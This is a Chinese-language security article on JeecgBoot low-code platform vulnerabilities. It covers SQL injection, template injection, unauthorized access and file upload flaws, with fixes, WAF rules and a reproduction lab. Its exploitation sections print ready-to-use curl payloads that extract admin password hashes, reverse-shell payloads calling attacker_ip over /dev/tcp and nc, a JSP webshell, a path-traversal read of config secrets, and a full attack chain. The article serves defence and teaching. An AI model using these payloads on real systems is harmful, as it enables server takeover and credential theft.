文章目录
-
- 前言
- 一、核心漏洞分类与技术细节
- 二、漏洞关联利用与攻击路径
-
- [1. 组合攻击示例(JeecgBoot全漏洞链)](#1. 组合攻击示例(JeecgBoot全漏洞链))
- [2. 典型攻击载荷](#2. 典型攻击载荷)
-
- [(1)SQL注入获取管理员密码(JeecgBoot 3.7.0)](#(1)SQL注入获取管理员密码(JeecgBoot 3.7.0))
- [(2)SSTI模板注入RCE(JeecgBoot 3.6.0)](#(2)SSTI模板注入RCE(JeecgBoot 3.6.0))
- [(3)未授权文件上传(JeecgBoot 3.5.0)](#(3)未授权文件上传(JeecgBoot 3.5.0))
- 三、版本演进与修复策略
- 四、安全运维建议
-
- [1. 基础防护](#1. 基础防护)
- [2. 动态监测](#2. 动态监测)
- [3. 版本管理](#3. 版本管理)
- 五、典型漏洞复现环境搭建
-
- [1. 环境配置(以JeecgBoot 3.7.0为例)](#1. 环境配置(以JeecgBoot 3.7.0为例))
- [2. 漏洞验证(SQL注入漏洞)](#2. 漏洞验证(SQL注入漏洞))
- [3. 参考链接](#3. 参考链接)
- 六、总结
前言
JeecgBoot是国内主流的开源低代码开发平台,基于Spring Boot、MyBatis-Plus、Vue3等技术栈构建,涵盖快速开发、表单设计、报表统计、流程引擎等核心功能,广泛应用于政府、企业、互联网等领域,承担业务系统快速搭建、数据管理、协同办公等关键任务。
其架构核心为"前端可视化设计层(Vue3+Element Plus)"、"后端服务层(Spring Boot+Spring Security)"、"数据持久层(MyBatis-Plus+Minidao)"、"第三方组件层(Fastjson、Jmreport、AviatorScript)"。随着低代码开发模式的普及,JeecgBoot因"快速开发优先于安全配置"的设计特性、第三方组件漏洞遗留、默认配置弱化安全校验等问题,暴露出高频安全漏洞,成为安全响应中心(SRC)常见上报类型,可能导致敏感数据泄露、服务器被控、业务系统篡改等严重后果。本文针对JeecgBoot高频漏洞展开深度分析,为安全防护提供技术参考。
一、核心漏洞分类与技术细节
1. SQL注入漏洞(3.4.3≤版本≤3.8.1)
漏洞原理
JeecgBoot部分自动生成的接口及报表查询模块未使用参数化查询,直接拼接用户输入作为SQL语句执行,部分接口存在黑名单校验绕过问题:
- 报表模块
/jeecg-boot/online/cgreport/head/parseSql接口,带括号表名触发SQL解析异常,导致黑名单过滤失效; - 积木报表
/jmreport/qurestSql接口的apiSelectId参数未做预处理,直接拼接进SELECT语句; - 依赖的Minidao持久层框架未强制启用参数化查询,开发者自定义SQL时易引发注入风险。
利用场景
攻击者通过构造恶意参数发起请求,获取数据库敏感数据或管理员凭证:
访问http://target:8080/jeecg-boot/jmreport/qurestSql?apiSelectId=1 UNION SELECT 1,username,password,4 FROM sys_user WHERE role_id='admin'--;
提取响应中管理员账号admin及密码哈希e10adc3949ba59abbe56e057f20f883e(MD5加密的"123456");
通过彩虹表破解哈希,获取明文密码后登录系统。
修复方案
升级至JeecgBoot 3.8.1+版本(官方修复SQL解析逻辑与注入点);
接口加固:所有SQL查询统一使用MyBatis-Plus参数化查询(#{}占位符),禁用字符串拼接(${});
组件升级:将Minidao升级至1.9.0+版本,启用SQL注入防护开关;
输入过滤:对报表查询、数据统计类接口添加关键词过滤(UNION、INSERT、OR等)。
2. SSTI模板注入与RCE漏洞(3.5.0≤版本≤3.8.0)
漏洞原理
JeecgBoot集成的Jmreport积木报表、AviatorScript表达式引擎存在模板解析安全缺陷:
- Jmreport组件未过滤Freemarker模板中的恶意表达式,允许
${}语法执行系统命令; - AviatorScript引擎在处理用户输入的表达式时,未限制危险类调用,可通过反射触发任意代码执行;
- 漏洞接口多未做身份认证,攻击者无需登录即可利用。
利用场景
攻击者通过构造恶意模板表达式,实现远程代码执行:
发送POST请求至http://target:8080/jeecg-boot/jmreport/loadTableData,请求体为:
json
{
"reportId": "1",
"params": {
"name": "${new java.lang.ProcessBuilder(new String[]{\"bash\",\"-i\",\">&\",\"/dev/tcp/attacker_ip/4444\",\"0>&1\"}).start()}"
}
}
攻击机监听4444端口,成功获取服务器反弹Shell,进而控制整个业务系统。
修复方案
升级至JeecgBoot 3.8.1+版本(官方限制模板表达式执行权限);
组件配置加固:禁用Freemarker模板的new关键字与静态方法调用,限制AviatorScript可调用的类白名单;
接口防护:为Jmreport、表达式解析类接口添加身份认证与权限校验,仅允许管理员访问。
3. 未授权访问与权限绕过漏洞(全版本默认配置)
漏洞原理
JeecgBoot部分核心接口未配置身份认证,或鉴权逻辑存在缺陷可被绕过:
- 数据接口:
/sys/user/checkOnlyUser(未授权查询用户名存在性)、/sys/role/list(未授权获取角色信息); - 功能接口:
/api/jeecg-boot/sys/common/upload(未授权文件上传)、/online/cgreport/exportExcel(未授权导出报表数据); - 路径遍历绕过:通过
../目录穿越绕过接口鉴权,访问敏感资源。
利用场景
攻击者无需登录即可批量窃取企业敏感数据:
访问http://target:8080/jeecg-boot/sys/user/checkOnlyUser?username=admin,通过响应状态判断管理员账号是否存在;
访问http://target:8080/jeecg-boot/online/cgreport/exportExcel?reportId=1,直接下载包含客户信息、财务数据的Excel报表;
通过路径遍历http://target:8080/jeecg-boot/api/../sys/config/getConfig,绕过/api接口鉴权,获取数据库连接密码。
修复方案
配置接口权限:在application.yml中启用全局接口鉴权,为/sys/*、/online/*、/jmreport/*接口添加登录校验;
鉴权逻辑加固:修复路径遍历漏洞,过滤请求URL中的../、./等特殊字符;
敏感接口防护:为用户信息查询、数据导出接口添加IP白名单,仅允许企业内网访问。
4. 文件操作漏洞(3.0≤版本≤3.7.0)
漏洞原理
JeecgBoot文件上传与下载模块存在多重安全缺陷:
- 文件上传:未校验文件后缀与实际内容,允许上传
.jsp、.jspx等可执行脚本,且上传路径位于Tomcat webapps目录下; - 文件读取:目录遍历防护缺失,攻击者可通过构造特殊路径读取系统配置文件、数据库密钥;
- 权限管控:文件上传接口未限制上传者身份,任意用户均可上传恶意文件。
利用场景
攻击者通过未授权文件上传植入后门,控制服务器:
使用curl发送上传请求:
bash
curl -X POST "http://target:8080/jeecg-boot/sys/common/upload" \
-F "file=@shell.jsp;filename=shell.jsp" \
-F "fileType=image"
其中shell.jsp内容为:
jsp
<%@ page import="java.io.*"%>
<%
Runtime.getRuntime().exec("bash -i >& /dev/tcp/attacker_ip/4444 0>&1");
%>
访问http://target:8080/jeecg-boot/upload/shell.jsp,触发后门获取服务器权限;
通过文件读取漏洞访问http://target:8080/jeecg-boot/sys/common/download?path=../../application.yml,获取数据库账号密码。
修复方案
升级至JeecgBoot 3.8.0+版本(官方修复文件操作逻辑);
文件上传加固:添加后缀白名单(仅允许.jpg、.pdf、.docx等常用格式),校验文件内容(如JPG文件首字节FF D8);
路径配置:将上传文件存储路径移出Tomcat webapps目录,禁用上传目录脚本执行权限;
文件读取防护:限制读取路径前缀,仅允许访问指定文件目录,过滤../等遍历字符。
二、漏洞关联利用与攻击路径
1. 组合攻击示例(JeecgBoot全漏洞链)
步骤1:未授权信息收集
访问http://target:8080/jeecg-boot/sys/user/checkOnlyUser接口,批量探测出管理员账号admin;
通过/sys/role/list接口获取企业组织架构与权限配置信息。
步骤2:SQL注入破解密码
利用/jmreport/qurestSql接口注入SQL,查询sys_user表获取admin的密码哈希e10adc3949ba59abbe56e057f20f883e,破解为明文123456。
步骤3:文件上传植入后门
使用admin/123456登录系统,进入"文档管理"模块,上传伪装为test.pdf的JSP后门(修改后缀为.jsp),获取后门路径http://target:8080/jeecg-boot/upload/backdoor.jsp。
步骤4:内网横向渗透
通过后门获取服务器内网IP段(如192.168.2.0/24),使用Nmap扫描内网其他JeecgBoot实例(默认端口8080),复用未授权访问与SQL注入漏洞,扩大控制范围。
2. 典型攻击载荷
(1)SQL注入获取管理员密码(JeecgBoot 3.7.0)
bash
curl "http://target:8080/jeecg-boot/jmreport/qurestSql?apiSelectId=1' UNION SELECT 1,username,password,4 FROM sys_user WHERE role_id='1'-- "
(2)SSTI模板注入RCE(JeecgBoot 3.6.0)
bash
curl -X POST "http://target:8080/jeecg-boot/jmreport/loadTableData" \
-H "Content-Type: application/json" \
-d '{
"reportId": "test",
"params": {
"cmd": "${Runtime.getRuntime().exec(\"nc attacker_ip 4444 -e /bin/bash\")}"
}
}'
(3)未授权文件上传(JeecgBoot 3.5.0)
bash
curl -X POST "http://target:8080/jeecg-boot/sys/common/upload" \
-F "file=@shell.jsp;filename=shell.jsp" \
-F "bizType=doc" \
-F "fileType=doc"
三、版本演进与修复策略
| 漏洞类型 | 影响版本 | 修复版本 | 核心变更点 |
|---|---|---|---|
| SQL注入漏洞 | 3.4.3≤版本≤3.8.1 | 3.8.1+ | 修复jmreport/qurestSql等注入点,强制启用参数化查询 |
| SSTI模板注入与RCE | 3.5.0≤版本≤3.8.0 | 3.8.1+ | 限制Freemarker/AviatorScript危险调用,添加模板表达式白名单 |
| 未授权访问与权限绕过 | 全版本默认配置 | 3.8.0+ | 为敏感接口添加登录校验,修复路径遍历漏洞,新增接口权限管理模块 |
| 文件操作漏洞 | 3.0≤版本≤3.7.0 | 3.8.0+ | 强化文件后缀与内容校验,移出上传文件至非Web目录,禁用脚本执行权限 |
四、安全运维建议
1. 基础防护
- 网络隔离:JeecgBoot服务器不直接暴露公网,通过堡垒机或VPN供内部人员访问;仅开放80/443等必要端口,限制办公网IP访问。
- 配置加固:
- 修改默认账号密码:强制将
admin默认密码(123456)改为"大小写字母+数字+特殊符号"组合,定期轮换; - 禁用危险功能:关闭未使用的Jmreport报表功能、AviatorScript表达式引擎,删除
bsh.jar等风险组件; - 数据库防护:限制JeecgBoot服务器IP仅能访问数据库,禁止数据库账号远程登录,启用数据库审计日志。
- 修改默认账号密码:强制将
2. 动态监测
- WAF规则拦截:
- 拦截SQL注入请求:过滤含
UNION、AND 1=1、OR等关键词的请求; - 拦截SSTI注入请求:过滤Freemarker模板表达式
${}、#{}, 限制危险类调用; - 拦截恶意文件上传:过滤
.jsp、.jspx、.asp等可执行后缀,拦截包含Runtime.exec的文件内容。
- 拦截SQL注入请求:过滤含
- 日志审计:
- 监控登录日志:重点关注异地登录、多次登录失败事件,防范暴力破解;
- 监控敏感操作:跟踪文件上传、数据导出、SQL查询等行为,发现异常及时阻断;
- 日志分析:使用ELK等工具集中管理日志,定期排查潜在攻击行为。
3. 版本管理
- 定期版本检查:通过JeecgBoot后台"系统监控-关于"查看版本,对照官方漏洞公告确认风险;使用官方提供的漏洞检测工具扫描当前系统。
- 自动化升级:在CI/CD流程中集成OWASP Dependency-Check工具,检测第三方组件漏洞;官方发布安全补丁后,72小时内完成测试与升级(优先升级生产环境)。
五、典型漏洞复现环境搭建
1. 环境配置(以JeecgBoot 3.7.0为例)
步骤1:环境准备
- 操作系统:Windows Server 2019(或Linux Ubuntu 20.04);
- 依赖软件:JDK 1.8(配置JAVA_HOME)、Tomcat 9.0(端口8080)、MySQL 8.0(编码utf8mb4)、Maven 3.6.3;
- 漏洞版本:JeecgBoot 3.7.0(可从GitHub官方仓库下载源码)。
步骤2:初始化部署
- 下载JeecgBoot 3.7.0源码,修改
application-dev.yml中的MySQL连接信息(数据库名jeecg-boot,用户名root,密码123456); - 执行数据库初始化脚本(
db/jeecg-boot-mysql-3.7.0.sql); - 使用Maven打包:
mvn clean package -Dmaven.test.skip=true,获取jeecg-boot.war文件; - 将
jeecg-boot.war放入Tomcat的webapps目录,启动Tomcat自动解压部署。
步骤3:服务启动
- 启动MySQL:
net start mysql(Windows)或systemctl start mysqld(Linux); - 启动Tomcat:运行
Tomcat/bin/startup.bat(Windows)或startup.sh(Linux); - 验证访问:访问
http://localhost:8080/jeecg-boot/login,使用默认账号admin/123456登录。
2. 漏洞验证(SQL注入漏洞)
步骤1:构造恶意请求
使用curl构造SQL注入请求,获取管理员账号密码:
bash
curl "http://localhost:8080/jeecg-boot/jmreport/qurestSql?apiSelectId=1' UNION SELECT 1,username,password,4 FROM sys_user WHERE role_id='1'-- "
步骤2:解析响应结果
响应中会返回admin账号及对应的密码哈希e10adc3949ba59abbe56e057f20f883e。
步骤3:破解密码
通过MD5彩虹表查询,破解哈希值为明文密码123456,成功获取管理员凭证。
3. 参考链接
- JeecgBoot官方漏洞公告:https://www.jeecg.com/docs/other/security-notice
- Vulhub JeecgBoot漏洞环境:https://github.com/vulhub/vulhub/tree/master/jeecgboot
- JeecgBoot SQL注入漏洞深度分析:https://xz.aliyun.com/t/12089
六、总结
JeecgBoot的高频漏洞主要源于低代码开发模式的安全校验缺失、第三方组件漏洞遗留、默认配置弱化安全防护三大核心问题。作为企业快速开发业务系统的核心框架,其漏洞一旦被利用,不仅会导致敏感数据泄露、业务系统瘫痪,还可能成为攻击者突破企业内网的"跳板"。